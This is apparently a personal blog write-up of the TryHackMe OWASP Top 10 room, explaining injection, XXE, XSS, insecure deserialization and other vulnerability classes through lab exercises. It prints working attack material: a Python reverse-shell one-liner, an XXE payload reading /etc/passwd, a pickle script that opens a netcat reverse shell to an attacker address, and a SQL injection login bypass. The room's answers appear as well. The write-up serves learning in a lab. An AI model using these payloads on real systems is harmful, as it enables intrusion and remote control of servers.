OWASP TOP 10 - tryhackme

go back / p4p1

---

Created on Wed. 20 jan 2021

---

---

This write-up will be a bit different I need to practice my knowledge of the OWASP TOP 10 and my objective is to go as much detail as I can on each vulnerability so that I learn them more effectively. I will provide all the answers for the TryHackMe but with as much context as possible so you might have to dig a bit for the answers.

Vulnerability 1: Injections

Injections are the most basic kind of vulnerability. Let's say you have an input processed by a function or executed by an external entity like for example SQL. So in our hypothetical world you have a search system on your website/blog or whatever and you want to search for something in your database. An attacker would come along and instead of using the search bar to search something basic the attacker would put some SQL code inside of that search box and instead or returning the search result it would return the entire database, not cool :) The main defense in most injection attack is by either not using the under lining technology so in our example not use SQL not very useful or use some kind of black list or white list to allow or refuse certain inputs.

The first example provided inside of the room is Command Injection, you will not find this vulnerability in the wild most real Command Injection vulnerability are exploited through a remote code injection vulnerability. I might talk about those an other day.

Inside the task description the author tells us to navigate to the page evilshell.php on this page we can enter different commands and those will help us answer the different questions.

          
            $ ls
            css/ drpepper.txt evilshell.php index.php js/
          
        

From this shell we can go a bit further by observing how does the different php scripts and see if there are vulnerabilities that we can find. You can use the following command to get a reverse shell on the machine:

          
            python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_HERE",PORT_HERE));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
          
        

I love seeing how the developer potentially messed up inside of the source code. If you inspect index.php here is where most of the cool stuff is located in.

In red we can see the vulnerable part of the code the text the users inputs goes inside of the command on line 25 and then gets executed on line 27. Using that we could create our own exploit for this machine instead of using evilshell.php. Just using the same command as before but adding a ; before it we get a reverse shell on the machine.

Vulnerability 2: Broken Authentication

For this vulnerability we are simply exploiting the authentication system. If we have for in example a user admin and we try to register " admin" note the space before the name it is technically a different username because of the extra space but during authentication the program doesn't take the space into account and we could login as admin. Note that this example does not apply everywhere and is just a showcase of what could possibly be a broken authentication.

In our example we have to impersonate the user darren, when we try to register just darren we get and error:

But if we try to login with " darren" or space darren we are able to login with our password but on his account.

Vulnerability 3: Sensitive Data Exposure

A big part of being a Cyber Security Researcher is searching for information ( or reconnaissance) on google, either on google or directly on the target. There is an entire area of research called OSINT that people specialize in researching sensitive data online. Some times you might even combine the two by researching online sensitive data you have found on a server. Hashed password or such.

In the exercise we are given a website to attack, we can start by doing some active reconnaissance using a tool like gobuster for example

          
            #[p4p1@p4p1_XPS15 p4p1/]$ gobuster dir --url http://10.10.171.196/ --wordlist /opt/wordlists/small.txt
            ===============================================================
            Gobuster v3.0.1
            by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
            ===============================================================
            [+] Url:            http://10.10.171.196/
            [+] Threads:        10
            [+] Wordlist:       /opt/wordlists/small.txt
            [+] Status codes:   200,204,301,302,307,401,403
            [+] User Agent:     gobuster/3.0.1
            [+] Timeout:        10s
            ===============================================================
            2021/01/21 15:58:24 Starting gobuster
            ===============================================================
            /api (Status: 301)
            /assets (Status: 301)
            /console (Status: 301)
            /login (Status: 301)
            ===============================================================
            2021/01/21 15:58:26 Finished
            ===============================================================
          
        

Looking at the output of the command we can see a /assets we might be able to use that to our leverage.

Here we can see a file called webapp.db obviously this should not be there and we can use this to our advantage. To view the content of the file we can use a database viewer like sqlitebrowser.

Here we can see a hashed password in the password field that is pretty useless for us but we can use the wonders of the internet to find it. Using a website called crackstation we can find the plain text password:

Vulnerability 4: XML External Entity

This vulnerability is not my favorite because I really struggle with XML. In fact this was one of the first vulnerability I ever exploited when I was 15yo on this challenge website named hackthis.co.uk. I struggled so hard with it, it took me around 2 weeks to break it and since then I always had a bad relationship with XML.

XML External Entity or XXE is a vulnerability that uses features from the XML parser that weren't intended by the developer you can imagine it as a huge flex on the intelligence of the developer by using features he didn't block from the user. There are two types of XXE, In-band and Out-of-Band XXEs the only difference in those two, is that the first one you receive the answer from the payload immediately and the second one is considered blind.

For this challenge we will have the website that takes in an XML entry and then runs it through a parser. We will enter some malicious XML to hopefully exploit the server.

          
            <!DOCTYPE replace [<!ENTITY name "feast"> ]>
            <userInfo>
              <firstName>falcon</firstName>
              <lastName>&name;</lastName>
            </userInfo>
          
        

The creator provided us with the code above lets try to dissect it on our own to figure out what it does. We first define a variable name with the value "feast" we then do a call back to that variable inside of our test code on line 4. When we run this code we see the string falcon feast popup on out screen

From that we can edit the code to get more important valuable information from the machine. Instead of giving name a constant value we can give it the content of a file for example /etc/passwd

          
            <!DOCTYPE replace [<!ENTITY name SYSTEM 'file:///etc/passwd'> ]>
            <userInfo>
              <lastName>&name;</lastName>
            </userInfo>
          
        

We are then able to retrieve the content of /etc/passwd.

Vulnerability 5: Broken Access Control

Broken access control can happen in a lot of different scenarios and are very straight forward to spot. I have done a blog post about broken access control and IDORs on this blog. The challenge here is a lot simpler that what I showcased in my other blog post. The post in question is linked to the right.

In this exercise when we login to the website we see a note system where you give a note number in the url and see the content of the note inside of the body of the page. What if we change the note number we could hopefully other peoples notes. And that is how exactly this exploit works :).

Vulnerability 6: Security Misconfiguration

This vulnerability is very straight forward and ties in a lot with the third vulnerability. You will have a lot of services with default user names and passwords you can find those default credentials in many wordlist and sometimes just with a simple google search.

By researching the name of the website and default credentials I was able to find the github of the project and it's default credentials. With the github we could even dig a little deeper and try to find vulnerabilities inside of the source code of the app.

Vulnerability 7: Cross Site Scripting

Haaa possibly my favourite vulnerability of the bunch, XSS is so fun to exploit there are so many possibilities with this exploit and you can end up doing so many things with a victim browser. From keylogging to creating a network scanner, XSS is so fun :).

In this challenge we focus on the three main types of XSS, reflected, stored and DOM XSS. There are plenty of guides explaining those online so I wont waste my time explaining them to you and I believe that the tutorials that already exists are a lot better at explaining this than I am.

When you create an account you get logged in to the challenge and there are two main tabs to look at. The first reflected and then stored XSS. Let's have bit of fun with those. Inside of reflective XSS tab we see a search bar. We can start testing for XSS by typing in HTML inside of the search bar.

From there seeing that it works we can start injecting a ton of HTML payloads from javascript to css defacing the webpage.

Inside of the second tab or Stored XSS we are provided some kind of forum where we can type in comments on the page and those are stored and sent to all of the other users to mess around with. Here we can try to mess a bit more with our input and put some HTML inside of the comment section.

Vulnerability 8: Insecure Deserialization

Insecure Deserialization is the vulnerability I am the least common with in the list but I have the most practice with it seems a bit counter intuitive and it is. Basically Insecure Deserialization is when a service runs a piece of code that is not secure and can be edited by the end user. In computers we talk about Serialization in computers when we take some data transform it in some way and send it to other computers on a network for example. When we take some source code and compile it to binary it is also called serialization.

For this challenge we have to create an account on their website and start by inspecting the cookies we can see on the right I have the cookies stored by the application. What seems pretty apparent is that the cookie userType has a value user and we could just simply change it's value to admin to gain access to the admin panel.

The second part of this challenge was very confusing to me at first but with a bit of research on the pickle library I have found a lot of valuable information that can help in understanding how this works. Because the back end of the server is using python as programming language and uses python data schemes inside of the cookies we are able to extract it and change it to whatever we want. To view this you can take the content of the cookie sessionId and run it through this basic python script:

          
          #!/usr/bin/env python
          # -*- coding: utf-8 -*-
          # Made by papi
          # Created on: Fri 22 Jan 2021 11:40:12 PM CET
          # deserialize.py
          # Description:

          import pickle
          import base64

          string = "gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAANmJiMzZkODRkMDE5NDRiNWI4MWFkMTQyYTdiNmEyM2FxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg=="
          picklefile = open('/tmp/file', 'wb')
          picklefile.write(base64.b64decode(string))
          picklefile.close()

          picklefile = open('/tmp/file', 'rb')
          data = pickle.load(picklefile)
          picklefile.close()

          print(data)
          print(type(data))
          
        

Knowing this we could potentially serialize any bit of python code and place it inside of the sessionId cookie for the server to run.

          
          import pickle
          import sys
          import base64

          command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | netcat 10.11.2.60 1234 > /tmp/f'

          class rce(object):
              def __reduce__(self):
                  import os
                  return (os.system,(command,))

          print(base64.b64encode(pickle.dumps(rce())))

          
        

Just run the following code and place the base64 inside of the cookie and you will have a reverse shell on the server.

Vulnerability 9: Known Vulnerabilities

This one is a sad sight to see on the OWASP top 10 but it isn't surprising most vulnerabilities are disclosed online on website such as exploit-db and can be downloaded and ran by anyone on any services. For example is we search the name of the CMS given to us on exploit-db we can find multiple vulnerabilities:

If we try to use for example the Authentication Bypass CVE we can login as admin on the page with just the following payload:

          
            username: admin
            password: %' or '1'='1 
          
        

Vulnerability 10: Insufficient Logging and Monitoring

I will not be doing a demonstration for this vulnerability because it is pretty self explanatory. If you do not log as much traffic as possible you will not be able to see if someone is exploiting your server or not.

---

Thank you for reading, check out my other write-ups here or some of my personal project I am currently working on here.